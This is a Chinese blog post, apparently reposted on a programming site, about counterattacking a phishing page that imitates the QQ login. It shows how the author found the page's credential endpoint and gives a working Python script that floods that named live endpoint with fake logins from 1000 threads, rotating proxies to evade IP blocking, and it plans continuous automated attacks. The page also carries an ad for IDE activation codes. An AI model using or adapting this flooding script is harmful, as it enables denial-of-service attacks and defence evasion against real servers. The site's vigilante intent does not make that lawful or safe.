用Python打击盗号钓鱼网站

用Python打击盗号钓鱼网站事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preservelog,然后随便输入

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/

打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白
造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。

我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preserve log,然后随便输入一串账号密码,点击登陆

然后会发现抓到了api.php,完整地址是http://tencent.outlook.com.eskdp.xyz/mail/api/api.php

post方法发送了两个字段usernamepassword
记住这个地址,后面程序要用到

好的,我们已经拿到了真实的后台地址,想到这,某人咧嘴一笑,我们的思路是不停的给它发送请求,直到他的服务器崩溃(后面发现过段时间还会重启)

于是第一版本的代码就出炉了,通过多线程并发疯狂发送post请求,经过测试发现有些问题,就是这个网站好像可以锁定IP,对请求的IP进行限制,看到这种情况下,
某人咧嘴一笑,想到了IP的代{过}理{滤}池,于是clone了一个git开源项目,给这个程序注入灵魂,于是开启程序,一分钟后,再次刷新那个钓鱼网站,已经打不开了。

我用的代{过}理{滤}池项目是https://github.com/jhao104/proxy_pool

这个项目我启动的时候遇到了报错,如果有一样的问题可以看我提的issue:https://github.com/jhao104/proxy_pool/issues/453

下面放代码

#coding=utf-8
''' 疯狂发送post请求 '''
import requests
import random
from time import ctime  
import threading 

count = 1

def get_proxy():
    return requests.get("http://127.0.0.1:5010/get/").json()

def delete_proxy(proxy):
    requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy))

def getResponse(postJson):
    # ....
    retry_count = 5
    url = 'http://tencent.outlook.com.eskdp.xyz/mail/api/api.php'
    proxy = get_proxy().get("proxy")
    while retry_count > 0:
        try:
            response = requests.post(url, proxies={ 
   "http": "http://{}".format(proxy)}, data=postJson)
            # 使用代理访问
            return response
        except Exception:
            retry_count -= 1
    # 出错5次, 删除代理池中代理
    delete_proxy(proxy)
    return None

#创建请求函数
def postRequest():
    global count
    Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ"
    postJson= { 
   "username":random.randint(10000,9999999999),"password":"".join(random.choice(Number) for i in range(random.randint(6,10)))}#值以字典的形式传入
    # response = requests.post(url=url,data=postJson)
    response = getResponse(postJson)
    # if response is not None
    try:
        print("状态码:", response.status_code, "第", count, "次发送成功")
        count += 1
    except :
        pass
    
  
#创建数组存放线程 
threads=[] 
#创建1000个线程
for i in range(1000):
    #针对函数创建线程 
    t=threading.Thread(target=postRequest,args=())
    #把创建的线程加入线程组 
    threads.append(t)  
  
if __name__ == '__main__':
    #启动线程 
    for i in threads:  
        i.start()  
    #keep thread 
    for i in threads:  
        i.join()

后续我准备改进一下,增加周期性检测,然后放到服务器上,只要检测到网页可以打开就持续发送,对于这种危害大家信息安全的钓鱼网站,正是需要我们共同努力维护网络安全。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159485.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 软件测试面试的自我介绍模板(无经验者面试软件测试)

    面试官,你好,我叫Jayce,16年本科毕业,从事软件测试将近3年的时间。在此期间做过一些项目也积累过一些经验,能够独立地完成软件测试流程的一个工作。我之前主要做过的是功能测试,web自动化测试、app专项测试、接口测试、也有用过Jmeter做过一些性能方面的测试。我对于缺陷管理工具比如禅道,版本控制器git与svn能够熟悉应用。数据库、linux、Fiddler、Jmeter这些应用也比较熟悉。…

    2022年4月15日
    56
  • 机器学习系列(12)_XGBoost参数调优完全指南(附Python代码)[通俗易懂]

    机器学习系列(12)_XGBoost参数调优完全指南(附Python代码)[通俗易懂]这篇文章主要讲了如何提升XGBoost模型的表现。首先,我们介绍了相比于GBM,为何XGBoost可以取得这么好的表现。紧接着,我们介绍了每个参数的细节。我们定义了一个可以重复使用的构造模型的函数。最后,我们讨论了使用XGBoost解决问题的一般方法,在AVDataHackathon3.xproblem数据上实践了这些方法。希望看过这篇文章之后,你能有所收获

    2022年6月9日
    43
  • eclipse swing开发_学生教务系统登录

    eclipse swing开发_学生教务系统登录Java+Swing实现学生宿舍管理系统一、系统介绍二、系统展示1.登录页面2.学生端-主页面3.学生端-课程选择4.学生端-查看已选课程5.学生端-修改密码6.学生端-学生信息查询7.管理员-主页面8.管理员-查看选课情况9.管理员-添加课程10.管理员-修改课程信息11.管理员-查询学生信息12.管理员-学生密码修改三、系统实现Admin.javaCourse.javaSelection.javaSinfo.javaStudent.javaDbUtil.javaStringUtil.javaLogOnD

    2022年10月10日
    3
  • c#与WMI使用技巧集http://www.cnblogs.com/Sandheart/articles/1568636.html[通俗易懂]

    c#与WMI使用技巧集http://www.cnblogs.com/Sandheart/articles/1568636.html[通俗易懂](转)c#与WMI使用技巧集1、什么是WMI WMI是英文WindowsManagementInstrumentation的简写,它的功能主要是:访问本地主机的一些信息和服务,可以管理远程计算机(当然你必须要拥有足够的权限),比如:重启,关机,关闭进程,创建进程等。 2、如何用WMI获得本地磁盘的信息? 首先要在VS.NET中创建一个项目,然后在添加引用中引用一个.

    2022年9月28日
    4
  • 如何在firefox 7的地址栏里显示http://前缀

    如何在firefox 7的地址栏里显示http://前缀

    2021年8月18日
    57
  • 佳文分享:CAP定理

    佳文分享:CAP定理

    2021年12月13日
    41

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号